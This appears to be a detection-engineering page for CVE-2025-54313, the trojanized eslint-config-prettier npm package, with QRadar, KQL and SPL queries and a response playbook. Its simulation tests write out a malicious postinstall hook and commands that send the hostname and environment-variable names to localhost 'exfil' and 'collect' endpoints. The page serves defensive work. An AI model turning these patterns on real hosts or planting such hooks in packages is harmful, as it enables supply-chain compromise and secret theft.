Detect Prettier eslint-config-prettier Embedded Malicious Code (CVE-2025-54313) in IBM QRadar
Detects exploitation indicators related to CVE-2025-54313, a supply chain compromise affecting the eslint-config-prettier npm package (Prettier). The package was trojanized with embedded malicious code (CWE-506), enabling arbitrary code execution during npm install or build processes. This vulnerability is listed in CISA's Known Exploited Vulnerabilities catalog.
MITRE ATT&CK
- Tactic
- Initial Access Execution Persistence
QRadar Detection Query
SELECT DATEFORMAT(starttime, 'YYYY-MM-dd HH:mm:ss') AS 'Event Time', sourceip, destinationip, destinationport, username, "Command" AS cmd, "File Path" AS file_path, LOGSOURCENAME(logsourceid) AS log_source
FROM events
WHERE LAST 30 DAYS
AND (
(LOWER("Command") ILIKE '%eslint-config-prettier%')
OR (LOWER("File Path") ILIKE '%eslint-config-prettier%' AND (LOWER("File Path") ILIKE '%.exe' OR LOWER("File Path") ILIKE '%.dll' OR LOWER("File Path") ILIKE '%.sh'))
OR ("Application" ILIKE '%node%' AND destinationip NOT ILIKE '127.0.0.%' AND destinationport NOT IN (80, 443) AND CATEGORYNAME(category) ILIKE '%network%')
)
ORDER BY starttime DESC QRadar AQL query identifying commands and file activity referencing eslint-config-prettier, suspicious binary drops, and node-initiated outbound connections to non-standard destinations.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate npm installs in developer environments prior to package remediation
- Vulnerability scanners generating process events containing package names
- Node.js services with outbound calls to internal package mirrors on non-standard ports
Other platforms for CVE-2025-54313
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate Malicious postinstall Hook Execution via eslint-config-prettier
Expected signal: EDR should record: npm parent process spawning bash, bash executing malicious.sh, file creation of pwned.txt, outbound network attempt to 127.0.0.1:9999
- Test 2Detect eslint-config-prettier in Installed Node Modules
Expected signal: Process events showing find and python3 spawned from shell; file read events on node_modules/eslint-config-prettier/package.json across filesystem
- Test 3Simulate Outbound Exfiltration from Node Process Post-Install
Expected signal: EDR network telemetry showing node process initiating outbound TCP connection; process command line containing 'process.env' and network connection attempt
Response Playbook
Triage
- Identify all hosts that have run npm install or npx commands within the past 30 days and check for presence of eslint-config-prettier in node_modules or package-lock.json.
- Query your package manager audit logs (npm audit log, yarn.lock history) to determine the exact version of eslint-config-prettier installed; cross-reference against versions flagged as malicious on npmjs.com.
- Review CI/CD pipeline logs for any build jobs that installed eslint-config-prettier; identify downstream artifacts (Docker images, deployments) that may contain the compromised package.
- Check for post-install script execution artifacts: look for unexpected child processes spawned by node/npm around the install timestamp on affected systems.
Containment
- Immediately remove or quarantine the affected version of eslint-config-prettier from all environments; update package.json and lock files to pin to a verified clean version or remove the dependency if unused.
- Rotate all credentials, tokens, and secrets accessible from affected build environments or developer machines, as the malicious code may have exfiltrated environment variables or filesystem secrets.
- Block outbound connections from build servers to non-approved external hosts at the network layer until forensic review is complete.
Evidence Collection
- Capture full process trees from affected hosts at the time of npm install, including all child processes spawned by the post-install hook, using EDR telemetry or osquery process_events.
- Collect network flow logs covering outbound connections from build agents and developer workstations during the installation window to identify potential data exfiltration destinations.
- Preserve copies of the installed eslint-config-prettier package directory (node_modules/eslint-config-prettier) and any files created or modified during/after install for malware analysis.
Escalation Criteria
- !Escalate immediately if outbound network connections to external IPs are confirmed during or after npm install of eslint-config-prettier, indicating active C2 or exfiltration.
- !Escalate if secrets, API keys, or credential files are found to have been accessed or copied by processes spawned from the npm install hook on any production or CI system.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
node_modules/eslint-config-prettier/package.json — inspect scripts.postinstall field for malicious commands - >
npm debug logs (~/.npm/_logs/) containing output from post-install hook execution - >
Shell history files (.bash_history, .zsh_history) on developer machines showing npm install commands and timestamps - >
Network proxy/firewall logs showing outbound HTTP/S connections from node processes to external hosts during build windows
Tuning Guidance
Reduce false positives by scoping the KQL and SPL queries to known CI/CD host groups or developer workstation segments. Exclude connections to your organization's internal npm proxy/registry by adding its IP range to the allowlist. If your environment uses a lock file policy enforcing exact package versions, add a detection for any drift from the approved version hash of eslint-config-prettier. For high-confidence alerting, correlate npm install process events with subsequent child process spawns within a 60-second window.
Hunting Queries
Hunt for all historical npm/node process executions referencing eslint-config-prettier or postinstall hooks across the environment over the past 90 days to identify the full blast radius.
DeviceProcessEvents
| where TimeGenerated > ago(90d)
| where InitiatingProcessFileName in~ ("npm", "npx", "node")
| where ProcessCommandLine has_any ("eslint-config-prettier", "postinstall")
| extend ParentChain = strcat(InitiatingProcessFileName, " > ", FileName)
| summarize count(), makeset(ProcessCommandLine) by DeviceName, AccountName, ParentChain, bin(TimeGenerated, 1h)
| where count_ > 0
| sort by TimeGenerated desc index=* (sourcetype=osquery OR sourcetype=endpoint) earliest=-90d
| eval cmd=coalesce(CommandLine, command)
| where match(cmd, "(?i)(npm|npx|node)") AND match(cmd, "(?i)(eslint-config-prettier|postinstall)")
| stats count by host, user, cmd, _time
| sort - _time Atomic Red Team Tests
Creates a local mock npm package mimicking eslint-config-prettier with a malicious postinstall script that executes a benign command, simulating the supply chain compromise execution vector.
Command
mkdir -p /tmp/atomic-eslint-test/node_modules/eslint-config-prettier && cat > /tmp/atomic-eslint-test/node_modules/eslint-config-prettier/package.json << 'EOF'
{"name":"eslint-config-prettier","version":"9.1.1","scripts":{"postinstall":"bash /tmp/atomic-eslint-test/malicious.sh"}}
EOF
echo '#!/bin/bash\necho "[ATOMIC TEST] Malicious postinstall running" > /tmp/atomic-eslint-test/pwned.txt\ncurl -s http://127.0.0.1:9999/exfil?host=$(hostname) || true' > /tmp/atomic-eslint-test/malicious.sh && chmod +x /tmp/atomic-eslint-test/malicious.sh && cd /tmp/atomic-eslint-test && npm install 2>&1 | tee /tmp/atomic-install.log Cleanup
rm -rf /tmp/atomic-eslint-test /tmp/atomic-install.log Expected Telemetry
EDR should record: npm parent process spawning bash, bash executing malicious.sh, file creation of pwned.txt, outbound network attempt to 127.0.0.1:9999
Expected Detection
Alert on npm/node spawning shell process referencing eslint-config-prettier postinstall hook; file creation in /tmp from npm child process
Searches for eslint-config-prettier in all node_modules directories on the system to identify affected installations for triage purposes.
Command
find / -maxdepth 10 -type d -name 'eslint-config-prettier' 2>/dev/null | while read dir; do echo "Found: $dir"; cat "$dir/package.json" 2>/dev/null | python3 -c "import sys,json; d=json.load(sys.stdin); print('Version:', d.get('version','?')); print('postinstall:', d.get('scripts',{}).get('postinstall','none'))"; done Cleanup
No cleanup required — read-only discovery operation Expected Telemetry
Process events showing find and python3 spawned from shell; file read events on node_modules/eslint-config-prettier/package.json across filesystem
Expected Detection
May trigger file integrity monitoring alerts on sensitive node_modules reads; useful for validating EDR file-read telemetry coverage
Simulates a malicious npm postinstall script exfiltrating environment variables to an external host, mimicking the likely behavior of the trojanized eslint-config-prettier package.
Command
node -e "const https = require('https'); const data = JSON.stringify({hostname: require('os').hostname(), env_keys: Object.keys(process.env)}); const options = {hostname: '127.0.0.1', port: 9998, path: '/collect', method: 'POST', headers: {'Content-Type': 'application/json', 'Content-Length': data.length}}; const req = https.request(options, r => console.log('Status:', r.statusCode)); req.on('error', e => console.log('[ATOMIC] Connection failed (expected):', e.message)); req.write(data); req.end();" Cleanup
No files created; network connection attempt is to localhost and will fail gracefully Expected Telemetry
EDR network telemetry showing node process initiating outbound TCP connection; process command line containing 'process.env' and network connection attempt
Expected Detection
Alert on node.js process making outbound network connections to non-registry hosts; correlation with any prior npm install events on the same host within 5 minutes